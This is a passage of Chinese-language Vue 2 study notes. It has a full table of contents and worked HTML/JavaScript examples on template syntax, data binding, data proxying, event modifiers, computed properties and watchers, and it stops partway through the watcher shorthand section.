vue2学习笔记

news2024/10/1 5:41:00

文章目录

    • 1. 初识Vue
    • 2. 模板语法
    • 3. 数据绑定
    • 4. el与data的两种写法
    • 5. Vue中的MVVM
    • 6. 数据代理
      • Object.defineProperty方法
      • 何为数据代理
      • Vue中的数据代理
    • 7. 事件处理
      • 事件的基本使用
      • 事件修饰符
      • 键盘事件
    • 8. 计算属性
      • 姓名案例_插值语法实现
      • 姓名案例_methods实现
      • 姓名案例_计算属性实现
      • 姓名案例_计算属性简写
    • 9. 监视属性
      • 天气案例
      • 天气案例_监视属性
      • 天气案例_深度监视
      • 天气案例_监视属性\_简写
      • 姓名案例_watch实现
    • 10. 绑定样式
    • 11. 条件渲染
    • 12. 列表渲染
      • 基本列表
      • key的原理
      • 列表过滤
      • 列表排序
      • 更新时的一个问题
      • Vue监测数据改变的原理_对象
      • 模拟一个数据监测
      • Vue.set的使用
      • Vue监测数据改变的原理_数组
      • 总结Vue数据监测
    • 13. 收集表单数据
    • 14. 过滤器
    • 15. 内置指令
      • v-text
      • v-html
      • v-cloak
      • v-once
      • v-pre
    • 16. 自定义指令
    • 17. 生命周期
      • 引出生命周期
      • 分析生命周期(==图==)
      • 总结生命周期
    • 18. 非单文件组件
      • 组件的概念
      • 非单文件组件
        • 基本使用
        • 几个注意点
        • 组件的嵌套
        • VueComponent
        • ==一个重要的内置关系==
    • 19. 单文件组件
      • school.vue
      • student.vue
      • App.vue
      • main.js
      • index.html
    • ======================================================================
    • 1. 初始化脚手架
    • 2. 分析脚手架&render函数
      • 文件结构图示及说明
        • main.js
        • index.html
        • App.vue
        • School.vue
        • Student.vue
      • 关于不同版本的Vue
      • 修改默认配置
        • vue.config.js配置文件
    • 3. ref属性
    • 4. props配置
    • 5. mixin混入
      • 局部混入
      • 全局混入
    • 6. 插件
      • 定义插件
      • 应用插件
    • 7. scoped样式
    • 8. Todo-list 案例
      • 组件化编码流程(通用)
      • 案例代码
        • main.js
        • App.vue
        • MyHeader.vue
        • MyList.vue
          • MyItem.vue
        • MyFooter.vue
    • 9. 浏览器本地缓存
      • localStorage
      • sessionStorage
    • 10. 组件自定义事件
      • 案例代码
        • main.js
        • App.vue
        • Student.vue
        • School.vue
    • 11. 全局事件总线
      • 图解
      • 案例代码
        • main.js
        • App.vue
        • School.vue
        • Student.vue
    • 12. 消息订阅与发布
      • 案例代码
        • main.js
        • App.vue
        • School.vue
        • Student.vue
    • 13. $nextTick
      • 案例代码
        • MyItem.vue
    • 14. 过渡与动画
      • 案例代码
        • Test.vue
          • (拿动画写)
        • Test2.vue
          • (拿过渡写)
        • Test3.vue
          • (第三方动画)
    • 15. 配置代理服务器
      • 方法一
      • 方法二
      • 案例代码
        • main.js
        • App.vue
        • vue.config.js
    • 16. github搜索案例
      • 案例代码
        • main.js
        • App.vue
        • Search.vue
        • List.vue
    • 17. vue-resource
      • main.js
      • Search.vue
    • 18. 插槽
      • 1. 默认插槽
        • App.vue
        • Category.vue
      • 2. 具名插槽
        • App.vue
        • Category.vue
      • 3. 作用域插槽
        • App.vue
        • Category.vue
    • 19. Vuex
      • 1. vuex 是什么
        • 1. 什么时候使用 Vuex
        • 2. Vuex 工作原理图
      • 2. 搭建vuex环境
      • 3. 基本使用
      • 4. 求和案例_vuex版
        • main.js
        • store/index.js
        • App.vue
        • Count.vue
      • 5. mapState与mapGetters&mapMutations与mapActions[==简写==]
        • main.js
        • store/index.js
        • App.vue
        • Count.vue
      • 6. 模块化+命名空间
        • main.js
        • store/index.js
        • store/count.js
        • store/person.js
        • App.vue
        • Count.vue
        • Person.vue
    • 20. 路由
      • 路由相关理解
      • 基本使用
        • main.js
        • App.vue
        • router/index.js
        • About.vue
        • Home.vue
      • ==几个注意点==
      • 嵌套路由
        • 案例代码
          • public/index.html
          • main.js
          • router/index.js
          • app.vue
          • pages/Home.vue
          • pages/News.vue
          • pages/Message.vue
          • pages/About.vue
          • components/Banner.vue
      • 命名路由
      • 路由的query参数
      • 路由的params参数
      • 路由的props配置
      • router-link的replace属性
      • 编程式路由导航
      • 缓存路由组件
      • 两个新的生命周期钩子
      • 路由守卫
        • 全局(前置/后置)路由守卫
        • 独享路由守卫
        • 组件内路由守卫
      • 路由懒加载
      • 路由器的两种工作模式
        • 打包部署刷新页面404的问题
          • 使用nginx
    • 21. UI 组件库
      • 移动端常用 UI 组件库
      • PC 端常用 UI 组件库
    • 22. 配置@
      • 创建jsconfig.json文件
    • 23. axios
      • 1、安装axios
      • 2、创建ajax.js
      • 3、暴露请求接口方法
      • 4、使用
    • 24. MockJs
      • 1、安装mockJs
      • 2、编写mockServer.js文件
      • 3、创建mockAjax.js
      • 4、暴露请求接口方法
      • 5、使用
    • 25. QRCode
    • 26. vue-lazyload

1. 初识Vue

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>初识Vue</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			初识Vue：
				1.想让Vue工作，就必须创建一个Vue实例，且要传入一个配置对象；
				2.root容器里的代码依然符合html规范，只不过混入了一些特殊的Vue语法；
				3.root容器里的代码被称为【Vue模板】；
				4.Vue实例和容器是一一对应的；
				5.真实开发中只有一个Vue实例，并且会配合着组件一起使用；
				6.{{xxx}}中的xxx要写js表达式，且xxx可以自动读取到data中的所有属性；
				7.一旦data中的数据发生改变，那么页面中用到该数据的地方也会自动更新；

				注意区分：js表达式 和 js代码(语句)
						1.表达式：一个表达式会产生一个值，可以放在任何一个需要值的地方：
									(1). a
									(2). a+b
									(3). demo(1)
									(4). x === y ? 'a' : 'b'

						2.js代码(语句)
									(1). if(){}
									(2). for(){}
		-->

		<!-- 准备好一个容器 -->
		<div id="demo">
			<h1>Hello，{{name.toUpperCase()}}，{{address}}</h1>
		</div>

		<script type="text/javascript" >
			Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

			//创建Vue实例
			new Vue({
				el:'#demo', //el用于指定当前Vue实例为哪个容器服务，值通常为css选择器字符串。
				data:{      //data中用于存储数据，数据供el所指定的容器去使用，值我们暂时先写成一个对象。
					name:'atguigu',
					address:'北京'
				}
			})

		</script>
	</body>
</html>

2. 模板语法

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>模板语法</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				Vue模板语法有2大类：
					1.插值语法：
							功能：用于解析标签体内容。
							写法：{{xxx}}，xxx是js表达式，且可以直接读取到data中的所有属性。
					2.指令语法：
							功能：用于解析标签（包括：标签属性、标签体内容、绑定事件.....）。
							举例：v-bind:href="xxx" 或  简写为 :href="xxx"，
                                 xxx同样要写js表达式，最终的渲染结果是js表达式的结果，
                                 且可以直接读取到data中的所有属性，并且v-bind是单向绑定。
							备注：Vue中有很多的指令，且形式都是：v-????，此处我们只是拿v-bind举个例子。

		 -->
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>插值语法</h1>
			<h3>你好，{{name}}</h3>
			<hr/>
			<h1>指令语法</h1>
            <!-- v-bind可以绑定所有属性,包括自定义属性，比如下面的x -->
			<a v-bind:href="school.url.toUpperCase()" x="hello">点我去{{school.name}}学习1</a>
			<a :href="school.url" x="hello">点我去{{school.name}}学习2</a>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				name:'jack',
				school:{
					name:'尚硅谷',
					url:'http://www.atguigu.com',
				}
			}
		})
	</script>
</html>

3. 数据绑定

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>数据绑定</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			Vue中有2种数据绑定的方式：
					1.单向绑定(v-bind)：数据只能从data流向页面。
					2.双向绑定(v-model)：数据不仅能从data流向页面，还可以从页面流向data。
						备注：
								1.双向绑定一般都应用在表单类元素上（如：input、select等）
								2.v-model:value 可以简写为 v-model，因为v-model默认收集的就是value值。
		 -->
		<!-- 准备好一个容器-->
		<div id="root">
			<!-- 普通写法 -->
			<!-- 单向数据绑定：<input type="text" v-bind:value="name"><br/>
			双向数据绑定：<input type="text" v-model:value="name"><br/> -->

			<!-- 简写 -->
			单向数据绑定：<input type="text" :value="name"><br/>
			双向数据绑定：<input type="text" v-model="name"><br/>

			<!-- 如下代码是错误的，因为v-model只能应用在表单类元素（输入类元素）上 -->
			<!-- <h2 v-model:x="name">你好啊</h2> -->
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷'
			}
		})
	</script>
</html>

4. el与data的两种写法

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>el与data的两种写法</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			data与el的2种写法
					1.el有2种写法
									(1).new Vue时候配置el属性。
									(2).先创建Vue实例，随后再通过vm.$mount('#root')指定el的值。
					2.data有2种写法
									(1).对象式
									(2).函数式
									如何选择：目前哪种写法都可以，以后学习到组件时，data必须使用函数式，否则会报错。
					3.一个重要的原则：
									由Vue管理的函数，一定不要写箭头函数，一旦写了箭头函数，this就不再是Vue实例了。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>你好，{{name}}</h1>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		//el的两种写法
		/* const v = new Vue({
			//el:'#root', //第一种写法
			data:{
				name:'尚硅谷'
			}
		})
		console.log(v)    // 打印的对象中带$符号开头的，还有__proto__属性中对应的$符号开头的都是提供给外界可以用的
                          // (v是Vue实例，Vue是构造函数，__proto__对应的属性是vue实例缔造者原型对象上的方法)
		v.$mount('#root') //第二种写法 */

		//data的两种写法
		new Vue({
			el:'#root',
			//data的第一种写法：对象式
			/* data:{
				name:'尚硅谷'
			} */

			//data的第二种写法：函数式
			data(){
				console.log('@@@',this) //此处的this是Vue实例对象
				return{
					name:'尚硅谷'
				}
			}
		})
	</script>
</html>

5. Vue中的MVVM

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>理解MVVM</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			MVVM模型
						1. M：模型(Model) ：data中的数据
						2. V：视图(View) ：模板代码
						3. VM：视图模型(ViewModel)：Vue实例
			观察发现：
						1.data中所有的属性，最后都出现在了vm身上。
						2.vm身上所有的属性 及 Vue原型上所有属性，在Vue模板中都可以直接使用。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>学校名称：{{name}}</h1>  <!-- name最后成为了vm上的属性 -->
			<h1>学校地址：{{address}}</h1>
			<!-- <h1>测试一下1：{{1+1}}</h1>
			<h1>测试一下2：{{$options}}</h1>  <!-- 能直接写vm上的所有属性或方法 -->
			<h1>测试一下3：{{$emit}}</h1>     <!-- 也能写vm的原型对象上的所有属性或方法 -->
			<h1>测试一下4：{{_c}}</h1> -->
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',  // 这些name、address属性最后都会成为的vm对象的属性
				address:'北京',
			}
		})
		console.log(vm)
	</script>
</html>

6. 数据代理

Object.defineProperty方法

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>回顾Object.defineproperty方法: 用来给一个对象添加或定义属性</title>
	</head>
	<body>
		<script type="text/javascript" >
			let number = 18
			let person = {
				name:'张三',
				sex:'男',
			}

			Object.defineProperty(person,'age',{
				// value:18,
				// enumerable:true,  //控制属性是否可以枚举，默认值是false
				// writable:true,    //控制属性是否可以被修改，默认值是false
				// configurable:true //控制属性是否可以被删除，默认值是false

				//当有人读取person的age属性时，get函数(getter)就会被调用，且返回值作为age的值
				get(){
					console.log('有人读取age属性了')
					return number
				},

				//当有人修改person的age属性时，set函数(setter)就会被调用，且会收到修改的具体值
				set(value){
					console.log('有人修改了age属性，且值是',value)
					number = value
				}

			})

			// console.log(Object.keys(person)) // 把传入对象的所有属性的属性名提取出来作为一个数组

			console.log(person)
		</script>
	</body>
</html>

何为数据代理

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>何为数据代理</title>
	</head>
	<body>
		<!-- 数据代理：通过一个对象代理对另一个对象中属性的操作（读/写）-->
		<script type="text/javascript" >
			let obj = {x:100}
			let obj2 = {y:200}

            // 通过obj2.x的修改，可以影响到obj中的x
            // 在控制台上很明显的标记就是obj2里面的x属性对应的值是(...),需要点一下才能获取到值,
            // 同时，在控制台上obj2对象还可以看到对应的setter和getter方法
			Object.defineProperty(obj2,'x',{
				get(){
					return obj.x
				},
				set(value){
					obj.x = value
				}
			})
		</script>
	</body>
</html>

Vue中的数据代理

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>Vue中的数据代理</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				1.Vue中的数据代理：
							通过vm对象来代理data对象中属性的操作（读/写）
				2.Vue中数据代理的好处：
							更加方便的操作data中的数据
				3.基本原理：
							通过Object.defineProperty()把data对象中所有属性添加到vm上。
							为每一个添加到vm上的属性，都指定一个getter/setter。
							在getter/setter内部去操作（读/写）data中对应的属性。
		 -->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>学校名称：{{name}}</h2>
			<h2>学校地址：{{address}}</h2>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
        let data = { name:'尚硅谷', address:'宏福科技园'}
        
		const vm = new Vue({
			el:'#root',
			data:data
		})
        
        console.log(vm.name) // 尚硅谷
        console.log(vm.address) // 宏福科技园
        console.log(vm._data === data)  // true,这里就表明了配置中的data对象实际上被保存到了vm实例的_data属性中
        
	</script>
</html>

在这里插入图片描述

7. 事件处理

事件的基本使用

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>事件的基本使用</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				事件的基本使用：
							1.使用v-on:xxx 或 @xxx 绑定事件，其中xxx是事件名；
							2.事件的回调需要配置在methods对象中，最终会在vm上；
							3.methods中配置的函数，不要用箭头函数！否则this就不是vm了；
							4.methods中配置的函数，都是被Vue所管理的函数，this的指向是vm 或 组件实例对象；
							5.@click="demo" 和 @click="demo($event)" 效果一致，但后者可以传参；
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>欢迎来到{{name}}学习</h2>
			<!-- <button v-on:click="showInfo">点我提示信息</button> -->
			<button @click="showInfo1">点我提示信息1（不传参）</button>
            <!---$event将会被Vue实例识别到,会将js原生的event对象作为$event参数的值传给此函数-->
			<button @click="showInfo2($event,66)">点我提示信息2（传参）</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
			},
			methods:{
				showInfo1(event){ // 默认可接收一个时间对象，这是js原生就有的
					// console.log(event.target.innerText) // 拿到事件源对象,进而获取内部的文字
					// console.log(this === vm) //此处的this是vm
					alert('同学你好！')
				},
				showInfo2(event,number){
					console.log(event,number)
					// console.log(event.target.innerText)
					// console.log(this) //此处的this是vm
					alert('同学你好！！')
				}
			}
		})
	</script>
</html>

事件修饰符

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>事件修饰符</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
		<style>
			*{
				margin-top: 20px;
			}
			.demo1{
				height: 50px;
				background-color: skyblue;
			}
			.box1{
				padding: 5px;
				background-color: skyblue;
			}
			.box2{
				padding: 5px;
				background-color: orange;
			}
			.list{
				width: 200px;
				height: 200px;
				background-color: peru;
				overflow: auto;
			}
			li{
				height: 100px;
			}
		</style>
	</head>
	<body>
		<!-- 
				Vue中的事件修饰符：
						1.prevent：阻止默认事件（常用）；
						2.stop：阻止事件冒泡（常用）；
						3.once：事件只触发一次（常用）；
						4.capture：使用事件的捕获模式；
						5.self：只有event.target是当前操作的元素时才触发事件；
						6.passive：事件的默认行为立即执行，无需等待事件回调执行完毕；
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>欢迎来到{{name}}学习</h2>
            
			<!-- 阻止默认事件（常用） ，同接收到event对象后，调用event.preventDefault()-->
			<a href="http://www.atguigu.com" @click.prevent="showInfo">点我提示信息</a>

			<!-- 阻止事件冒泡（常用），同接收到event对象后，调用event.stopPropagation(),否则下面会调用2次函数 -->
			<div class="demo1" @click="showInfo">
				<button @click.stop="showInfo">点我提示信息</button>
				<!-- 修饰符可以连续写 -->
				<!-- <a href="http://www.atguigu.com" @click.prevent.stop="showInfo">点我提示信息</a> -->
			</div>

			<!-- 事件只触发一次（常用），点了一次之后才会调用函数，后面点就不会调用这个函数了 -->
			<button @click.once="showInfo">点我提示信息</button>

			<!-- 使用事件的捕获模式，事件的触发流程是先捕获再冒泡，所以这里在捕获阶段就执行showMsg(1) -->
			<div class="box1" @click.capture="showMsg(1)">
				div1
				<div class="box2" @click="showMsg(2)">
					div2
				</div>
			</div>

			<!-- 只有event.target是当前操作的元素时才触发事件；
                 点击button事件冒泡到demo1，但是event.target仍然是button，所以demo1的showInfo不会触发 -->
			<div class="demo1" @click.self="showInfo">
				<button @click="showInfo">点我提示信息</button>
			</div>

			<!-- 事件的默认行为立即执行，无需等待事件回调执行完毕，否则有些事件会先执行完回调，才会执行默认行为； -->
			<ul @wheel.passive="demo" class="list">
				<li>1</li>
				<li>2</li>
				<li>3</li>
				<li>4</li>
			</ul>

		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷'
			},
			methods:{
				showInfo(e){
					alert('同学你好！')
					// console.log(e.target)
				},
				showMsg(msg){
					console.log(msg)
				},
				demo(){
					for (let i = 0; i < 100000; i++) {
						console.log('#')
					}
					console.log('累坏了')
				}
			}
		})
	</script>
</html>

键盘事件

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>键盘事件</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				1.Vue中常用的按键别名：
							回车 => enter
							删除 => delete (捕获“删除”和“退格”键)
							退出 => esc
							空格 => space
							换行 => tab (特殊，必须配合keydown去使用)
							上 => up
							下 => down
							左 => left
							右 => right

				2.Vue未提供别名的按键，可以使用按键原始的key值去绑定，但注意要转为kebab-case（短横线命名）

				3.系统修饰键（用法特殊）：ctrl、alt、shift、meta
							(1).配合keyup使用：按下修饰键的同时，再按下其他键，随后释放其他键，事件才被触发。
							(2).配合keydown使用：正常触发事件。

				4.也可以使用keyCode去指定具体的按键（不推荐）

				5.Vue.config.keyCodes.自定义键名 = 键码，可以去定制按键别名
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>欢迎来到{{name}}学习</h2>
			<input type="text" placeholder="按下回车提示输入" @keydown.huiche="showInfo">
            <input type="text" placeholder="按下ctrl+y提示输入" @keydown.ctrl.y="showInfo">
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		Vue.config.keyCodes.huiche = 13 //定义了一个别名按键

		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷'
			},
			methods: {
				showInfo(e){
					// console.log(e.key,e.keyCode) // e是事件对象，keyCode是按键编码，key是按键名称
					console.log(e.target.value)
				}
			},
		})
	</script>
</html>

8. 计算属性

姓名案例_插值语法实现

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>姓名案例_插值语法实现</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			姓：<input type="text" v-model="firstName"> <br/><br/>
			名：<input type="text" v-model="lastName"> <br/><br/>
			全名：<span>{{firstName}}-{{lastName}}</span>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{  // Vue实例中的data数据一旦发生变化，那么模板就会被重新解析
				firstName:'张', 
				lastName:'三'
			}
		})
	</script>
</html>

姓名案例_methods实现

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>姓名案例_methods实现</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			姓：<input type="text" v-model="firstName"> <br/><br/>
			名：<input type="text" v-model="lastName"> <br/><br/>
			全名：<span>{{fullName()}}</span>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{  /* 只要Vue实例中的data数据发生改变，那么Vue一定会重新解析模板，
                       重新解析模板的时候，遇到插值表达式里的语法会读取firstName或lastName的值，
                       因而会调用它们的get方法，因此fullName方法一定会再被调用一遍，
                       所以可以看到每次修改firstName或lastName时，下面的@---fullName都会打印一遍
                    */ 
				firstName:'张',
				lastName:'三'
			},
			methods: {
				fullName(){
					console.log('@---fullName')
                    console.log(this) // this就是当前Vue实例，所以可以直接访问data中的属性
					return this.firstName + '-' + this.lastName 
				}
			},
		})
	</script>
</html>

姓名案例_计算属性实现

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>姓名案例_计算属性实现</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			计算属性：
					1.定义：要用的属性不存在，要通过已有属性计算得来。
					2.原理：底层借助了Objcet.defineproperty方法提供的getter和setter。
					3.get函数什么时候执行？
								(1).初次读取时会执行一次。（因为已经缓存了）
								(2).当依赖的数据发生改变时会被再次调用。
					4.优势：与methods实现相比，内部有缓存机制（复用），效率更高，调试方便。
					5.备注：
						1.计算属性最终会出现在vm上，直接读取使用即可。
						2.如果计算属性要被修改，那必须写set函数去响应修改，且set中要引起计算时依赖的数据发生改变。
		 -->
		<!-- 准备好一个容器-->
		<div id="root">
			姓：<input type="text" v-model="firstName"> <br/><br/>
			名：<input type="text" v-model="lastName"> <br/><br/>
			测试：<input type="text" v-model="x"> <br/><br/>
			全名：<span>{{fullName}}</span> <br/><br/>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				firstName:'张',
				lastName:'三',
				x:'你好'
			},
			methods: {
				demo(){
					
				}
			},
			computed:{
				fullName:{
					//get有什么作用？当有人读取fullName时，get就会被调用，且返回值就作为fullName的值
					//get什么时候调用？1.初次读取fullName时。
                    //               2.所依赖的数据发生变化时 (计算属性是有缓存的，
                    //                                     如果没有涉及到firstName和lastName的修改，
                    //                                     那么重新解析模板仍然会去读缓存）。
					get(){
						console.log('get被调用了')
						// console.log(this) //此处的this是vm（前提是千万不能使用箭头函数，否则this就不是vm了）
                    	// 只能通过vm才能拿到firstName，所以必须加this
						return this.firstName + '-' + this.lastName
					},
					//set什么时候调用? 当fullName被修改时。
					set(value){
						console.log('set',value)
						const arr = value.split('-')
						this.firstName = arr[0]
						this.lastName = arr[1]
					}
				}
			}
		})
	</script>
</html>

姓名案例_计算属性简写

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>姓名案例_计算属性实现</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			姓：<input type="text" v-model="firstName"> <br/><br/>
			名：<input type="text" v-model="lastName"> <br/><br/>
			全名：<span>{{fullName}}</span> <br/><br/>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				firstName:'张',
				lastName:'三',
			},
			computed:{
				//完整写法
				/* fullName:{
					get(){
						console.log('get被调用了')
						return this.firstName + '-' + this.lastName
					},
					set(value){
						console.log('set',value)
						const arr = value.split('-')
						this.firstName = arr[0]
						this.lastName = arr[1]
					}
				} */
				//简写（确定计算属性，只读不改，就可以使用简写形式。注意使用时千万不要加括号哦）
                //    当在模板中写东西的时候，问自己：
                //        我要写的这个东西是data中配置的数据，还是methods配置的方法，还是computed中配置的计算属性
				fullName(){
					console.log('get被调用了')
                    // 只能通过vm才能拿到firstName，所以必须加this
					return this.firstName + '-' + this.lastName
				}
			}
		})
	</script>
</html>

9. 监视属性

天气案例

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>天气案例</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>今天天气很{{info}}</h2>
			<!-- 绑定事件的时候：@xxx="yyy" yyy可以写一些简单的语句,并且里面可以使用分号;隔开不同的语句,但没必要 -->
            <!-- 模板中能写的东西千万不能加this，因为自动往vm实例上或Vue原型对象上找，
                 所以可以直接使用配置的属性、方法、计算属性 -->
			<!-- <button @click="isHot = !isHot">切换天气</button> -->
			<button @click="changeWeather">切换天气</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		const vm = new Vue({
			el:'#root',
			data:{
				isHot:true,
			},
			computed:{
				info(){
					return this.isHot ? '炎热' : '凉爽'
				}
			},
			methods: {
				changeWeather(){
					this.isHot = !this.isHot // 必须加this，this指的是当前vm对象
				}
			},
		})
	</script>
</html>

天气案例_监视属性

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>天气案例_监视属性</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				监视属性watch：
					1.当被监视的属性变化时, 回调函数自动调用, 进行相关操作
					2.监视的属性必须存在，才能进行监视！！必须是data中配置的属性或者是computed配置的计算属性
					3.监视的两种写法：
							(1).new Vue时传入watch配置
							(2).通过vm.$watch监视
		 -->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>今天天气很{{info}}</h2>
			<button @click="changeWeather">切换天气</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		const vm = new Vue({
			el:'#root',
			data:{
				isHot:true,
			},
			computed:{
				info(){
					return this.isHot ? '炎热' : '凉爽'
				}
			},
			methods: {
				changeWeather(){
					this.isHot = !this.isHot
				}
			},
			/* watch:{
				isHot:{
					immediate:true, //初始化时让handler调用一下
					//handler什么时候调用？当isHot发生改变时。
					handler(newValue,oldValue){
						console.log('isHot被修改了',newValue,oldValue)
					}
				},
				info:{ // 还可以监视计算属性!
					immediate:true, 
					handler(newValue,oldValue){
						console.log(newValue,oldValue)
					}
				}
			} */
		})

        // 监视属性的另外一种写法
		vm.$watch('isHot',{
			immediate:true, //初始化时让handler调用一下
			//handler什么时候调用？当isHot发生改变时。
			handler(newValue,oldValue){
				console.log('isHot被修改了',newValue,oldValue)
			}
		})
	</script>
</html>

天气案例_深度监视

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>天气案例_深度监视</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				深度监视：
						(1).Vue中的watch默认不监测对象内部值的改变（一层）。
						(2).配置deep:true可以监测对象内部值改变（多层）。
				备注：
						(1).Vue自身可以监测对象内部值的改变，但Vue提供的watch默认不可以！
						(2).使用watch时根据数据的具体结构，决定是否采用深度监视。
		 -->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>今天天气很{{info}}</h2>
			<button @click="changeWeather">切换天气</button>
			<hr/>
			<h3>a的值是:{{numbers.a}}</h3>
			<button @click="numbers.a++">点我让a+1</button>
			<h3>b的值是:{{numbers.b}}</h3>
			<button @click="numbers.b++">点我让b+1</button>
			<button @click="numbers = {a:666,b:888}">彻底替换掉numbers</button>
			{{numbers.c.d.e}}
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		const vm = new Vue({
			el:'#root',
			data:{
				isHot:true,
				numbers:{
					a:1,
					b:1,
					c:{
						d:{
							e:100
						}
					}
				}
			},
			computed:{
				info(){
					return this.isHot ? '炎热' : '凉爽'
				}
			},
			methods: {
				changeWeather(){
					this.isHot = !this.isHot
				}
			},
			watch:{
				isHot:{
					// immediate:true, //初始化时让handler调用一下
					//handler什么时候调用？当isHot发生改变时。
					handler(newValue,oldValue){
						console.log('isHot被修改了',newValue,oldValue)
					}
				},
				
				/* 
				//监视多级结构中某个属性的变化
				'numbers.a':{ // 本来的写法就是要加引号，只不过后面都省略成习惯了
					handler(){
						console.log('a被改变了')
					}
				} */
                
				//监视多级结构中所有属性的变化
				numbers:{
					deep:true,
					handler(){
						console.log('numbers改变了')
					}
				}
			}
		})

	</script>
</html>

天气案例_监视属性_简写

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>天气案例_监视属性_简写</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
